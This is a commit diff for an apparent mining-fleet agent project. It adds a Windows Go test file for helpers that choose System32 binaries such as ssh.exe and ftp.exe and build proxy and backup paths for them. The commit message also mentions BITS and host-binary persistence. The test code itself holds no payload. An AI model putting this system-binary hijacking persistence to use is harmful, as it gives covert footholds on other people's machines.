feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
34
agent/deploy/host_binary_windows_test.go
Normal file
34
agent/deploy/host_binary_windows_test.go
Normal file
@@ -0,0 +1,34 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestHostBinaryCandidatesSSH(t *testing.T) {
|
||||
paths := HostBinaryCandidates("ssh")
|
||||
for _, p := range paths {
|
||||
if !strings.HasSuffix(strings.ToLower(p), "ssh.exe") {
|
||||
t.Fatalf("unexpected ssh path: %q", p)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestHostBinaryCandidatesCustom(t *testing.T) {
|
||||
paths := HostBinaryCandidates(`custom:C:\Windows\System32\notepad.exe`)
|
||||
if len(paths) != 1 || !strings.HasSuffix(paths[0], "notepad.exe") {
|
||||
t.Fatalf("custom: %v", paths)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHostBinaryMarkerPaths(t *testing.T) {
|
||||
target := `C:\Windows\System32\ftp.exe`
|
||||
if got := hostBinaryMarkerPath(target); !strings.HasSuffix(got, hostBinaryProxySuffix) {
|
||||
t.Fatalf("marker: %q", got)
|
||||
}
|
||||
if got := hostBinaryBackupPath(target); !strings.HasSuffix(got, hostBinaryBackupSuffix) {
|
||||
t.Fatalf("backup: %q", got)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user